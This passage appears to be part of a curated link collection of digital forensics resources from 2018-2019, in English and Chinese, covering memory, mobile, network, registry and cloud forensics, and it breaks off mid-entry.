[Cooper] [Memory Forensics Analysis Of Cisco IOS XR 32 Bits Routers With 'Amnesic-Sherpa' - Solal Jacob](https://www.youtube.com/watch?v=ukZnBh6r8Q8) - 2019.10 [4hou] [如何在Windows上重现macOS上的取证技巧](https://www.4hou.com/web/20530.html) - 2019.10 [HackersOnBoard] [Lessons from Virginia - A Comparative Forensic Analysis of WinVote Voting Machine](https://www.youtube.com/watch?v=1z7z853__5E) - 2019.10 [HackersOnBoard] [Black Hat USA 2016 Memory Forensics Using Virtual Machine Introspection for Cloud Computing](https://www.youtube.com/watch?v=NNbiZD15NFA) - 2019.10 [elcomsoft] [Installing and using iOS Forensic Toolkit on macOS 10.15 Catalina](https://blog.elcomsoft.com/2019/10/installing-and-using-ios-forensic-toolkit-on-macos-catalina/) - 2019.09 [mac4n6] [Just Call Me Buffy the Proto Slayer – An Initial Look into Protobuf Data in Mac and iOS Forensics](https://www.mac4n6.com/blog/2019/9/27/just-call-me-buffy-the-proto-slayer-an-initial-look-into-protobuf-data-in-mac-and-ios-forensics) - 2019.09 [venus] [RDP 登录日志取证与清除](https://paper.seebug.org/1043/) - 2019.09 [freebuf] [Usbrip:用于跟踪USB设备固件的简单CLI取证工具](https://www.freebuf.com/sectool/210305.html) - 2019.09 [PositiveTechnologies] [Forensics: why there are no perfect crimes](https://www.youtube.com/watch?v=NgjUi7dSEsg) - 2019.09 [sans] [Strengthen Your Investigatory Powers by Taking the New FOR498: Battlefield Forensics & Data Acquisition Course from SANS](https://digital-forensics.sans.org/blog/2019/09/16/strengthen-your-investigatory-powers-for498) - 2019.09 [4hou] [什么是数字取证(Digital forensics)? 如何在这个热门领域站稳脚跟?](https://www.4hou.com/info/news/20249.html) - 2019.09 [4hou] [使用osquery进行远程取证](https://www.4hou.com/web/18369.html) - 2019.09 [elcomsoft] [Apple TV Forensics 03: Analysis](https://blog.elcomsoft.com/2019/09/apple-tv-forensics-03-analysis/) - 2019.09 [securelayer7] [CAN Bus protocol Penetration testing and forensics](https://blog.securelayer7.net/can-bus-protocol-penetration-testing-and-forensics/) - 2019.09 [hackers] [Network Forensics, Part 3: tcpdump for Network Analysis](https://www.hackers-arise.com/single-post/2019/09/03/Network-Forensics-Part-3-tcpdump-for-Network-Analysis) - 2019.09 [freebuf] [浅谈电子数字取证技术](https://www.freebuf.com/articles/network/211643.html) - 2019.09 [diablohorn] [Notes on ZFS / Solaris forensics](https://diablohorn.com/2019/09/01/notes-on-zfs-solaris-forensics/) - 2019.08 [THER] [[tool] Network Forensics with Tshark](https://www.youtube.com/watch?v=BETB___XKs0) - 2019.08 [elcomsoft] [Passcode vs. Biometrics: Forensic Implications of Touch ID and Face ID in iOS 12](https://blog.elcomsoft.com/2019/08/passcode-vs-biometrics-forensic-implications-of-touch-id-and-face-id-in-ios-12/) - 2019.08 [hackers] [Digital Forensics, Part 11: Recovering Stored Passwords from the Browser](https://www.hackers-arise.com/single-post/2019/08/27/Digital-Forensics-Part-11-Recovering-Stored-Passwords-from-the-Browser) - 2019.08 [freebuf] [MIG:一款功能强大的高速分布式实时数据取证工具](https://www.freebuf.com/sectool/208933.html) - 2019.08 [freebuf] [用于监控USB设备连接事件的取证工具](https://www.freebuf.com/sectool/210862.html) - 2019.08 [0x00sec] [CAN-bus protocol pentesting and forensics](https://0x00sec.org/t/can-bus-protocol-pentesting-and-forensics/15689) - 2019.08 [4hou] [有没有想过一个问题,适用于移动设备的取证方法能否照搬到台式计算机上?](https://www.4hou.com/web/19641.html) - 2019.08 [mac4n6] [New Presentation from SANS DFIR Summit 2019 - They See Us Rollin', They Hatin' - Forensics of iOS CarPlay and Android Auto](https://www.mac4n6.com/blog/2019/8/6/new-presentation-from-sans-dfir-summit-2019-they-see-us-rollin-they-hatin-forensics-of-ios-carplay-and-android-auto) - 2019.08 [X13Cubed] [NTFS Journal Forensics](https://www.youtube.com/watch?v=1mwiShxREm8) - 2019.08 [MastersInEthicalHacking] [Computer Forensic Tutorials || Install Dumpzilla on Kali Linux](https://www.youtube.com/watch?v=fc8oZcTtidw) - 2019.07 [elcomsoft] [Extended Mobile Forensics: Analyzing Desktop Computers](https://blog.elcomsoft.com/2019/07/extended-mobile-forensics-analyzing-desktop-computers/) - 2019.07 [eforensicsmag] [Mounting forensic images using losetup cli [FREE COURSE CONTENT]](https://eforensicsmag.com/mounting-forensic-images-using-losetup-cli-free-course-content/) - 2019.07 [elcomsoft] [iOS 13 (Beta) Forensics](https://blog.elcomsoft.com/2019/07/ios-13-beta-forensics/) - 2019.07 [infosecinstitute] [Getting started in digital forensics](https://resources.infosecinstitute.com/podcast-getting-started-in-digital-forensics/) - 2019.07 [4hou] [iOS越狱和物理取证指南](https://www.4hou.com/reverse/18468.html) - 2019.07 [4hou] [对Apple Watch的取证分析(续)](https://www.4hou.com/web/18879.html) - 2019.07 [eforensicsmag] [Case Study: Extracting And Analyzing Messenger Data With Oxygen Forensic Detective | By Nikola Novak](https://eforensicsmag.com/case-study-extracting-and-analyzing-messenger-data-with-oxygen-forensic-detective-by-nikola-novak/) - 2019.07 [andreafortuna] [How to convert a Windows SFS (Dynamic Disks) partition to regular partition for forensic analysis](https://www.andreafortuna.org/2019/07/04/how-to-convert-a-windows-sfs-dynamic-disks-partition-to-regular-partition-for-forensic-analysis/) - 2019.07 [4hou] [Apple TV和Apple Watch的取证分析](https://www.4hou.com/web/18830.html) - 2019.07 [arxiv] [[1907.01421] Methodology for the Automated Metadata-Based Classification of Incriminating Digital Forensic Artefacts](https://arxiv.org/abs/1907.01421) - 2019.06 [arxiv] [[1907.00074] Forensic Analysis of Third Party Location Applications in Android and iOS](https://arxiv.org/abs/1907.00074) - 2019.06 [elcomsoft] [Apple Watch Forensics 02: Analysis](https://blog.elcomsoft.com/2019/06/apple-watch-forensics-02-analysis/) - 2019.06 [hackers] [Network Forensics, Part 2: Packet-Level Analysis of the NSA's EternalBlue Exploit](https://www.hackers-arise.com/single-post/2018/11/30/Network-Forensics-Part-2-Packet-Level-Analysis-of-the-EternalBlue-Exploit) - 2019.06 [elcomsoft] [Apple TV and Apple Watch Forensics 01: Acquisition](https://blog.elcomsoft.com/2019/06/apple-tv-and-apple-watch-forensics-01-acquisition/) - 2019.06 [eforensicsmag] [Forensic Analysis of OpenVPN on iOS | By Jack Farley](https://eforensicsmag.com/forensic-analysis-of-openvpn-on-ios-by-jack-farley/) - 2019.06 [mac4n6] [New Presentation from MacDevOpsYVR 2019 - Launching APOLLO: Creating a Simple Tool for Advanced Forensic Analysis](https://www.mac4n6.com/blog/2019/6/17/new-presentation-from-macdevopsyvr-2019-launching-apollo-creating-a-simple-tool-for-advanced-forensic-analysis) - 2019.06 [eforensicsmag] [Forensic Acquisitions over Netcat | By Ali Hadi](https://eforensicsmag.com/forensic-acquisitions-over-netcat-by-ali-hadi/) - 2019.06 [arxiv] [[1906.10625] Antiforensic techniques deployed by custom developed malware in evading anti-virus detection](https://arxiv.org/abs/1906.10625) - 2019.06 [h2hconference] [Memory anti-anti-forensics in a nutshell - Fuschini & Rodrigues - H2HC 2013](https://www.youtube.com/watch?v=BdSwrhyjfMA) - 2019.06 [elcomsoft] [Forensic Implications of iOS Jailbreaking](https://blog.elcomsoft.com/2019/06/forensic-implications-of-ios-jailbreaking/) - 2019.06 [arxiv] [[1906.05268] Differential Imaging Forensics](https://arxiv.org/abs/1906.05268) - 2019.06 [eforensicsmag] [My Digital Forensic Career Pathway | By Patrick Doody](https://eforensicsmag.com/my-digital-forensic-career-pathway-by-patrick-doody/) - 2019.05 [trailofbits] [Using osquery for remote forensics](https://blog.trailofbits.com/2019/05/31/using-osquery-for-remote-forensics/) - 2019.05 [freebuf] [CyberScan:用于数据包取证的渗透工具](https://www.freebuf.com/sectool/203306.html) - 2019.05 [HackEXPlorer] [Digital Photo Forensics: How To analyze Fake Photos](https://www.youtube.com/watch?v=G1Y0UTMTF7o) - 2019.05 [eforensicsmag] ["Most people neglect scrutinizing the basics" - Interview with Divya Lakshmanan, eForensics Instructor](https://eforensicsmag.com/most-people-neglect-scrutinizing-the-basics-interview-with-divya-lakshmanan-eforensics-instructor/) - 2019.05 [andreafortuna] [How to read Windows Hibernation file (hiberfil.sys) to extract forensic data?](https://www.andreafortuna.org/2019/05/15/how-to-read-windows-hibernation-file-hiberfil-sys-to-extract-forensic-data/) - 2019.05 [MastersInEthicalHacking] [Computer Memory Forensic Tutorial](https://www.youtube.com/watch?v=H_FL4n84LI0) - 2019.05 [360] [2019 虎鲸杯电子取证大赛赛后复盘总结](https://www.anquanke.com/post/id/177714/) - 2019.05 [eforensicsmag] [BLAZESCAN – digital forensic open source tool | By Brian Laskowski](https://eforensicsmag.com/blazescan-digital-forensic-open-source-tool-by-brian-laskowski/) - 2019.04 [X13Cubed] [Free Tools From Magnet Forensics](https://www.youtube.com/watch?v=nTaYglAhbTU) - 2019.04 [4hou] [利用LeechAgent对远程物理内存进行取证分析](https://www.4hou.com/technology/17336.html) - 2019.04 [freebuf] [Imago-Forensics:Python实现的图像数字取证工具](https://www.freebuf.com/sectool/200845.html) - 2019.04 [andreafortuna] [How to extract forensic artifacts from pagefile.sys?](https://www.andreafortuna.org/2019/04/17/how-to-extract-forensic-artifacts-from-pagefile-sys/) - 2019.04 [scrtinsomnihack] [Dear Blue Team: Forensics Advice to Supercharge your DFIR capabilities by Joe Gray (@c_3pjoe)](https://www.youtube.com/watch?v=HEsCSba92XA) - 2019.04 [eforensicsmag] [Instagram Forensics -Windows App Store | By Justin Boncaldo](https://eforensicsmag.com/instagram-forensics-windows-app-store-by-justin-boncaldo/) - 2019.04 [arxiv] [[1904.01725] Using Google Analytics to Support Cybersecurity Forensics](https://arxiv.org/abs/1904.01725) - 2019.03 [aliyun] [Compromised Server--取证挑战](https://xz.aliyun.com/t/4523) - 2019.03 [4hou] [Windows注册表取证分析](https://www.4hou.com/info/news/15731.html) - 2019.03 [arxiv] [[1903.10770] Blockchain Solutions for Forensic Evidence Preservation in IoT Environments](https://arxiv.org/abs/1903.10770) - 2019.03 [compass] [Windows Forensics with Plaso](https://blog.compass-security.com/2019/03/windows-forensics-with-plaso/) - 2019.03 [checkpoint] [Check Point Forensic Files: A New Monero CryptoMiner Campaign | Check Point Software Blog](https://blog.checkpoint.com/2019/03/19/check-point-forensic-files-monero-cryptominer-campaign-cryptojacking-crypto-apt-hacking/) - 2019.03 [arxiv] [[1903.07703] A Survey of Electromagnetic Side-Channel Attacks and Discussion on their Case-Progressing Potential for Digital Forensics](https://arxiv.org/abs/1903.07703) - 2019.03 [hexacorn] [PE Compilation Timestamps vs. forensics](http://www.hexacorn.com/blog/2019/03/11/pe-compilation-timestamps-vs-forensics/) - 2019.03 [0x00sec] [A forensics repo?](https://0x00sec.org/t/a-forensics-repo/12157/) - 2019.03 [crowdstrike] [AutoMacTC: Automating Mac Forensic Triage](https://www.crowdstrike.com/blog/automating-mac-forensic-triage/) - 2019.03 [securityartwork] [Exchange forensics: The mysterious case of ghost mail (IV)](https://www.securityartwork.es/2019/03/06/exchange-forensics-the-mysterious-case-of-ghost-mail-iv/) - 2019.03 [arxiv] [[1904.00734] Forensics Analysis of Xbox One Game Console](https://arxiv.org/abs/1904.00734) - 2019.03 [ironcastle] [Special Webcast: SOF-ELK(R): A Free, Scalable Analysis Platform for Forensic, incident Response, and Security Operations – March 5, 2019 1:00pm US/Eastern](https://www.ironcastle.net/special-webcast-sof-elkr-a-free-scalable-analysis-platform-for-forensic-incident-response-and-security-operations-march-5-2019-100pm-us-eastern/) - 2019.03 [securityartwork] [Exchange forensics: The mysterious case of ghost mail (III)](https://www.securityartwork.es/2019/03/05/exchange-forensics-the-mysterious-case-of-ghost-mail-iii/) - 2019.03 [freebuf] [你可能没见过的流量取证](https://www.freebuf.com/articles/network/196374.html) - 2019.03 [securityartwork] [Exchange forensics: The mysterious case of ghost mail (II)](https://www.securityartwork.es/2019/03/04/exchange-forensics-the-mysterious-case-of-ghost-mail-ii/) - 2019.03 [HackerSploit] [Imago Forensics - Image Forensics Tutorial](https://www.youtube.com/watch?v=HIyObPWM6BM) - 2019.02 [freebuf] [对恶意树莓派设备的取证分析](https://www.freebuf.com/articles/terminal/196085.html) - 2019.02 [] [An Introduction to Exploratory Data Analysis with Network Forensics](https://401trg.com/introduction-to-exploratory-data-analysis/) - 2019.02 [htbridge] [How to Use an Audit Log to Practice WordPress Forensics](https://www.htbridge.com/blog/benefits-activity-logs-wordpress-site.html) - 2019.02 [htbridge] [How to Use an Audit Log to Practice WordPress Forensics](https://www.immuniweb.com/blog/benefits-activity-logs-wordpress-site.html) - 2019.02 [arxiv] [[1903.03061] DIALOG: A framework for modeling, analysis and reuse of digital forensic knowledge](https://arxiv.org/abs/1903.03061) - 2019.02 [arxiv] [[1903.01396] A complete formalized knowledge representation model for advanced digital forensics timeline analysis](https://arxiv.org/abs/1903.01396) - 2019.02 [bhconsulting] [AWS Cloud: Proactive Security and Forensic Readiness – part 5](http://bhconsulting.ie/aws-incident-response/) - 2019.02 [infosecinstitute] [Popular Computer Forensics Top 21 Tools [Updated for 2019]](https://resources.infosecinstitute.com/computer-forensics-tools/) - 2019.02 [cybrary] [The Cost to Learn Computer Forensics](https://www.cybrary.it/2019/02/cost-learn-computer-forensics/) - 2019.02 [cybrary] [“Ok Google. What is Forensic Analysis?”](https://www.cybrary.it/2019/02/ok-google-forensic-analysis/) - 2019.02 [360] [从PowerShell内存中提取取证脚本内容](https://www.anquanke.com/post/id/170497/) - 2019.02 [eforensicsmag] [How EnCase Software has Been Used Major Crime Cases (Plus how to use EnCase Forensic Imager Yourself) | By Brent Whitfield](https://eforensicsmag.com/how-encase-software-has-been-used-major-crime-cases-plus-how-to-use-encase-forensic-imager-yourself-by-brent-whitfield/) - 2019.01 [4hou] [Linux内存取证:解析用户空间进程堆(下)](http://www.4hou.com/technology/15981.html) - 2019.01 [4hou] [Linux内存取证:解析用户空间进程堆(中)](http://www.4hou.com/technology/15946.html) - 2019.01 [cybrary] [Computer Forensics Jobs: How to get a job, and what you should know](https://www.cybrary.it/2019/01/computer-forensics-jobs-get-job/) - 2019.01 [4hou] [Linux内存取证:解析用户空间进程堆(上)](http://www.4hou.com/technology/15826.html) - 2019.01 [cybrary] [Computer Forensics Jobs: Is it really that difficult to enter the field?](https://www.cybrary.it/2019/01/computer-forensics-jobs-really-difficult-enter-field/) - 2019.01 [checkpoint] [Check Point Forensic Files: GandCrab Returns with Friends (Trojans) | Check Point Software Blog](https://blog.checkpoint.com/2019/01/18/check-point-forensic-files-gandcrab-returns-with-friends-trojans/) - 2019.01 [comae] [Leveraging Microsoft Graph API for memory forensics](https://medium.com/p/7ab7f9ea4d06) - 2019.01 [cybrary] [Computer Forensics Jobs: Are there jobs available?](https://www.cybrary.it/2019/01/computer-forensics-jobs-jobs-available/) - 2019.01 [leeholmes] [Extracting Forensic Script Content from PowerShell Process Dumps](https://www.leeholmes.com/blog/2019/01/17/extracting-forensic-script-content-from-powershell-process-dumps/) - 2019.01 [freebuf] [iOS取证技巧:在无损的情况下完整导出SQLite数据库](https://www.freebuf.com/news/193684.html) - 2019.01 [freebuf] [TorPCAP:Tor网络取证分析技术](https://www.freebuf.com/news/193660.html) - 2019.01 [360] [Windows 注册表取证分析](https://www.anquanke.com/post/id/169435/) - 2019.01 [freebuf] [Android取证:使用ADB和DD对文件系统做镜像](https://www.freebuf.com/articles/terminal/193354.html) - 2019.01 [sans] [Go Big with Bootcamp for Advanced Memory Forensics and Threat Detection](https://digital-forensics.sans.org/blog/2019/01/09/go-big-with-bootcamp-for-advanced-memory-forensics-and-threat-detection) - 2019.01 [fireeye] [Digging Up the Past: Windows Registry Forensics Revisited](https://www.fireeye.com/blog/threat-research/2019/01/digging-up-the-past-windows-registry-forensics-revisited.html) - 2019.01 [sans] [SANS FOR585 Q&A: Smartphone Forensics - Questions answered](https://digital-forensics.sans.org/blog/2019/01/07/sans-for585-qa-smartphone-forensics-questions-answered) - 2019.01 [redcanary] [Our Automation Solution, Exec, Now Features Forensics, Human Approvals, and More](https://www.redcanary.com/blog/introducing-forensics-human-approvals-more-for-exec/) - 2019.01 [4hou] [CTF取证方法总结](http://www.4hou.com/web/15206.html) - 2018.12 [hitbsecconf] [#HITB2018DXB: Offensive Memory Forensics - Hugo Teso](https://www.youtube.com/watch?v=P-OpyGJcMHE) - 2018.12 [4hou] [Check Point取证报告:SandBlast客户端能够监测到无文件GandCrab](http://www.4hou.com/typ/15295.html) - 2018.12 [4hou] [Apple FSEvents相关的取证问题总结](http://www.4hou.com/web/15205.html) - 2018.12 [checkpoint] [使用交互式的报告来展示勒索软件GandCrab最近的攻击活动, 以及攻击流程](https://blog.checkpoint.com/2018/12/17/fileless-gandcrab-sandblast-agent-malware-behavioral-guard/) - 2018.12 [0x00sec] [Anti-forensic and File-less Malware](https://0x00sec.org/t/anti-forensic-and-file-less-malware/10008/) - 2018.12 [sans] [The new version of SOF-ELK is here. Download, turn on, and get going on forensics analysis.](https://digital-forensics.sans.org/blog/2018/12/04/the-new-version-of-sof-elk-is-here-download-turn-on-and-get-going-on-forensics-analysis) - 2018.12 [eforensicsmag] [Snapchat取证](https://eforensicsmag.com/not-quite-snapchat-forensics-by-gary-hunter/) - 2018.12 [andreafortuna] [Android取证: 使用ADB和DD对文件系统做镜像](https://www.andreafortuna.org/dfir/android-forensics-imaging-android-file-system-using-adb-and-dd/) - 2018.12 [CodeColorist] [iOS forensics trick: pull databases w/o full backup](https://medium.com/p/c79fa32e5c14) - 2018.11 [DEFCONConference] [DEF CON 26 DATA DUPLICATION VILLAGE - Lior Kolnik - The Memory Remains Cold Drive Memory Forensics](https://www.youtube.com/watch?v=sI6D_CrMr-Q) - 2018.11 [volatility] [Malware and Memory Forensics Training in 2019!](https://volatility-labs.blogspot.com/2018/11/malware-and-memory-forensics-training.html) - 2018.11 [eforensicsmag] [LOGICUBE INTRODUCES EDUCATIONAL VIDEO SERIES FOR IT’S NEXT-GENERATION FORENSIC IMAGER, FALCON-NEO | from Logicube](https://eforensicsmag.com/logicube-introduces-educational-video-series-for-its-next-generation-forensic-imager-falcon-neo-from-logicube/) - 2018.11 [mac4n6] [Do it Live! Dynamic iOS Forensic Testing](https://www.mac4n6.com/blog/2018/11/25/do-it-live-dynamic-ios-forensic-testing) - 2018.11 [arxiv] [[1811.09239] Digital Forensics for IoT and WSNs](https://arxiv.org/abs/1811.09239) - 2018.11 [n0where] [Extract Digital Evidences From Images: Imago-Forensics](https://n0where.net/extract-digital-evidences-from-images-imago-forensics) - 2018.11 [andreafortuna] [AutoTimeliner: automatically extract forensic timeline from memory dumps](https://www.andreafortuna.org/dfir/autotimeliner-automatically-extract-forensic-timeline-from-memory-dumps/) - 2018.11 [freebuf] [PcapXray:一款功能强大的带有GUI的网络取证工具](https://www.freebuf.com/sectool/188508.html) - 2018.11 [WildWestHackinFest] [Six Sick Systems, One Hour: Investigate with Host Forensics](https://www.youtube.com/watch?v=dq-hSl-uVbw) - 2018.11 [arxiv] [[1811.01629] On the Transferability of Adversarial Examples Against CNN-Based Image Forensics](https://arxiv.org/abs/1811.01629) - 2018.11 [DEFCONConference] [DEF CON 26 VOTING VILLAGE - Carsten Schurmann - A Comprehensive Forensic Analysis of WINVote Voting](https://www.youtube.com/watch?v=CXYCtSwkWf8) - 2018.11 [arxiv] [[1811.00701] Towards the Development of Realistic Botnet Dataset in the Internet of Things for Network Forensic Analytics: Bot-IoT Dataset](https://arxiv.org/abs/1811.00701) - 2018.10 [hackers] [网络审计之Wireshark基础, Part2](https://www.hackers-arise.com/single-post/2018/10/31/Network-Forensics-Wireshark-Basics-Part-2) - 2018.10 [aliyun] [picoCTF2018 Writeup之Forensics篇](https://xz.aliyun.com/t/3098) - 2018.10 [aliyun] [取证分析之发现Windows恶意程序执行痕迹](https://xz.aliyun.com/t/3067) - 2018.10 [mac4n6] [Video Now Available - #DFIRFIT or BUST: A Forensic Exploration of iOS Health Data](https://www.mac4n6.com/blog/2018/10/28/video-now-available-dfirfit-or-bust-a-forensic-exploration-of-ios-health-data) - 2018.10 [insanitybit] [Grapl: A Graph Platform for Detection, Forensics, and Incident Response](http://insanitybit.github.io/2018/10/20/grapl-a-graph-platform-for-detection-forensics-and-incident-response) - 2018.10 [krypt3ia] [Ryan S. Lin: Cyber Stalking, VPN’s and Digital Forensics](https://krypt3ia.wordpress.com/2018/10/13/ryan-s-lin-cyber-stalking-vpns-and-digital-forensics/) - 2018.10 [pediy] [[原创]取证分析之逆向服务器提权开启3389远程连接工具](https://bbs.pediy.com/thread-247239.htm) - 2018.10 [malwarenailed] [Live forensic collection and triage using CyLR, CDQR and Skadi](http://malwarenailed.blogspot.com/2018/10/live-forensic-collection-and-triage.html) - 2018.10 [insinuator] [Incident Analysis and Digital Forensics Summit 2018, 14th of November of 2018](https://insinuator.net/2018/10/incident-analysis-and-digital-forensics-summit-2018-14th-of-november-of-2018/) - 2018.10 [SSTecTutorials] [USB Forensics - Find History of Connected USB | Data Stolen By USB?](https://www.youtube.com/watch?v=eO_3kSZgRzg) - 2018.10 [elearnsecurity] [Top 5 Skills for a Career in Digital Forensics](https://blog.elearnsecurity.com/top-5-skills-for-a-career-in-digital-forensics.html) - 2018.10 [eforensicsmag] [Threat Intelligence: Taking a Fresh Look at Digital Forensics Backlogs | By Jonathan Zhang](https://eforensicsmag.com/threat-intelligence-taking-a-fresh-look-at-digital-forensics-backlogs-by-jonathan-zhang/) - 2018.10 [welivesecurity] [How to find forensic computer tools for each incident](https://www.welivesecurity.com/2018/10/03/it-forensic-tools-find-right-one/) - 2018.10 [elcomsoft] [iOS Forensics Training in Vienna: 17-19 Oct 2018](https://blog.elcomsoft.com/2018/10/ios-forensics-training-in-vienna-17-19-oct-2018/) - 2018.10 [andreafortuna] [Accessing Volume Shadow Copies within a forensic image](https://www.andreafortuna.org/dfir/accessing-volume-shadow-copies-within-a-forensic-image/) - 2018.09 [hackers] [Network Forensics, Part 2: Detecting and Analyzing a SCADA DoS Attack](https://www.hackers-arise.com/single-post/2018/09/27/Network-Forensics-Part-2-Detecting-and-Analyzing-a-SCADA-DoS-Attack) - 2018.09 [hackers] [Network Forensics, Wireshark Basics, Part 1](https://www.hackers-arise.com/single-post/2018/09/24/Network-Forensics-Wireshark-Basics-Part-1) - 2018.09 [4hou] [如何对苹果设备进行云取证](http://www.4hou.com/technology/13592.html) - 2018.09 [4hou] [是迫于压力还是心甘情愿?年底之前,苹果将完成和执法机构的取证工作对接](http://www.4hou.com/info/news/13523.html) - 2018.09 [eforensicsmag] [Ethics and Forensics- Time To Take A Hard Look | By Marisa Dery](https://eforensicsmag.com/ethics-and-forensics-time-to-take-a-hard-look-by-marisa-dery/) - 2018.09 [elcomsoft] [Cloud Forensics: Why, What and How to Extract Evidence](https://blog.elcomsoft.com/2018/09/cloud-forensics-why-what-and-how-to-extract-evidence/) - 2018.09 [arxiv] [[1809.00745] IoTDots: A Digital Forensics Framework for Smart Environments](https://arxiv.org/abs/1809.00745) - 2018.09 [bhconsulting] [AWS Cloud: Proactive Security and Forensic Readiness – part 4](http://bhconsulting.ie/aws-detective-controls/) - 2018.08 [freebuf] [Hindsight:Google ChromeChromium历史访问记录取证工具](http://www.freebuf.com/sectool/179734.html) - 2018.08 [arxiv] [[1808.01196] Enabling Trust in Deep Learning Models: A Digital Forensics Case Study](https://arxiv.org/abs/1808.01196) - 2018.08 [eforensicsmag] [Tracking Photo’s Geo-location with GPS EXIF DATA – Forensic Analysis | By Bala Ganesh](https://eforensicsmag.com/tracking-photos-geo-location-with-gps-exif-data-forensic-analysis-by-bala-ganesh/) - 2018.07 [arxiv] [[1807.10436] Emerging from The Cloud: A Bibliometric Analysis of Cloud Forensics Studies](https://arxiv.org/abs/1807.10436) - 2018.07 [arxiv] [[1807.10438] Internet of Things Security and Forensics: Challenges and Opportunities](https://arxiv.org/abs/1807.10438) - 2018.07 [arxiv] [[1807.10445] Greening Cloud-Enabled Big Data Storage Forensics: Syncany as a Case Study](https://arxiv.org/abs/1807.10445) - 2018.07 [arxiv] [[1807.10359] B-CoC: A Blockchain-based Chain of Custody for Evidences Management in Digital Forensics](https://arxiv.org/abs/1807.10359) - 2018.07 [arxiv] [[1807.10218] CloudMe Forensics: A Case of Big-Data Investigation](https://arxiv.org/abs/1807.10218) - 2018.07 [arxiv] [[1807.10214] Cloud Storage Forensic: hubiC as a Case-Study](https://arxiv.org/abs/1807.10214) - 2018.07 [pentesttoolz] [Hindsight – Internet History Forensics For Google Chrome/Chromium](https://pentesttoolz.com/2018/07/23/hindsight-internet-history-forensics-for-google-chrome-chromium/) - 2018.07 [arxiv] [[1807.08264] Digital forensic investigation of two-way radio communication equipment and services](https://arxiv.org/abs/1807.08264) - 2018.07 [] [Forensics Quickie: Identifying an Unknown GUID with Shellbags Explorer, Detailing Shell Item Extension Block 0xbeef0026, & Creative Cloud GUID Behavior](https://www.4n6k.com/2018/07/forensics-quickie-detailing-shell-item-guid-behavior-creative-cloud.html) - 2018.07 [fireeye] [Leveraging Intelligence with FireEye Network Forensics](https://www.fireeye.com/blog/products-and-services/2018/07/leveraging-intelligence-with-fireeye-network-forensics.html) - 2018.07 [NetflixTechBlog] [Netflix SIRT releases Diffy: A Differencing Engine for Digital Forensics in the Cloud](https://medium.com/p/37b71abd2698) - 2018.07 [Sebdraven] [APT Sidewinder: Tricks powershell, Anti Forensics and execution side loading](https://medium.com/p/5bc1a7e7c84c) - 2018.07 [eforensicsmag] [Digital Forensics – Tracking & Target Locating .Jpegs via Metadata (Exif) | By Hector Barquero](https://eforensicsmag.com/digital-forensics-tracking-target-locating-jpegs-via-metadata-exif-by-hector-barquero/) - 2018.07 [4hou] [攻击者从台湾科技公司窃取证书用于Plead恶意软件活动](http://www.4hou.com/web/12550.html) - 2018.07 [eforensicsmag] [Network Forensics Village | By Alexander Kot](https://eforensicsmag.com/network-forensics-village-by-alexander-kot/) - 2018.07 [HACKADAY] [DataGram - Forensic Locksmithing](https://www.youtube.com/watch?v=h79mw8B1b8k) - 2018.07 [pentesttoolz] [Guasap – WhatsApp Forensic Tool](https://pentesttoolz.com/2018/07/05/guasap-whatsapp-forensic-tool/) - 2018.07 [hackread] [最佳网络取证工具Top 7](https://www.hackread.com/top-7-cyber-forensic-tools/) - 2018.06 [SecPgh] [Tactical, Practical, Digital Forensics - John Grim](https://www.youtube.com/watch?v=TQsf-MM95q0) - 2018.06 [freebuf] [记一次服务器被入侵的调查取证](http://www.freebuf.com/articles/rookie/175370.html) - 2018.06 [360] [企业APT攻击取证(windows版本)](https://www.anquanke.com/post/id/149182/) - 2018.06 [elcomsoft] [iOS Forensic Toolkit 4.0 with Physical Keychain Extraction](https://blog.elcomsoft.com/2018/06/ios-forensic-toolkit-4-0-with-physical-keychain-extraction/) - 2018.06 [countuponsecurity] [Digital Forensics – PlugX and Artifacts left behind](https://countuponsecurity.com/2018/06/20/digital-forensics-plugx-and-artifacts-left-behind/) - 2018.06 [pediy] [[翻译]WhatsApp取证:对加密数据库进行解密和在尚未被Root的Android设备上提取已删除的消息](https://bbs.pediy.com/thread-228608.htm) - 2018.06 [X13Cubed] [RDP Event Log Forensics](https://www.youtube.com/watch?v=myzG11BP3Sk) - 2018.06 [mac4n6] [Presentation - #DFIRFIT or BUST: A Forensic Exploration of iOS Health Data (SANS DFIR Summit)](https://www.mac4n6.com/blog/2018/6/15/presentation-dfirfit-or-bust-a-forensic-exploration-of-ios-health-data-sans-dfir-summit) - 2018.06 [0x00sec] [Intro to Digital Forensics [Part 2 - Methodology and Process Models]](https://0x00sec.org/t/intro-to-digital-forensics-part-2-methodology-and-process-models/7122/) - 2018.06 [SecurityFest] [Solomon Sonya - Advanced Memory Forensics NextGen Actionable Threat Intelligence - SecurityFest 2018](https://www.youtube.com/watch?v=id_T7Z3tvWA) - 2018.06 [andreafortuna] [Dumpzilla: a forensic tool to extract information from browsers based on Firefox](https://www.andreafortuna.org/dfir/dumpzilla-a-forensic-tool-to-extract-information-from-browsers-based-on-firefox/) - 2018.06 [andreafortuna] [analyzeMFT介绍](https://www.andreafortuna.org/dfir/using-mft-anomalies-to-spot-suspicious-files-in-forensic-analysis/) - 2018.05 [aliyun] [【取证分析】CentOS_5.5_安装GCC编译LiME](https://xz.aliyun.com/t/2346) - 2018.04 [freebuf] [内存取证:查找Metasploit的Meterpreter踪迹](http://www.freebuf.com/sectool/168218.html) - 2018.04 [360] [如何通过内存取证技术追踪Metasploit Meterpreter](https://www.anquanke.com/post/id/104322/) - 2018.03 [freebuf] [如何对已损坏的SQLite数据库取证分析?](http://www.freebuf.com/articles/database/164644.html) - 2018.03 [hackers] [Digital Forensics, Part 10: Mobile Forensics (Android)](https://www.hackers-arise.com/single-post/2018/03/25/Digital-Forensics-Part-10-Mobile-Forensics-Android) - 2018.03 [4hou] [数字取证调查中如何获取网络连接的时间戳?](http://www.4hou.com/technology/10790.html) - 2018.03 [hackers] [Digital Forensics, Part 5: Analyzing the Windows Registry for Evidence](https://www.hackers-arise.com/single-post/2016/10/21/Digital-Forensics-Part-5-Analyzing-the-Windows-Registry-for-Evidence) - 2018.03 [360] [WhatsApp取证技术:如何在未Root的Android设备上解密数据库](https://www.anquanke.com/post/id/98382/) - 2018.03 [sec] [网络犯罪调查与电子数据取证](https://www.sec-un.org/%e7%bd%91%e7%bb%9c%e7%8a%af%e7%bd%aa%e8%b0%83%e6%9f%a5%e4%b8%8e%e7%94%b5%e5%ad%90%e6%95%b0%e6%8d%ae%e5%8f%96%e8%af%81/) - 2018.02 [hackers] [Network Forensics, Part 1](https://www.hackers-arise.com/single-post/2018/02/28/Network-Forensics-Part-1) - 2018.02 [freebuf] [iPhone X未能幸免 | 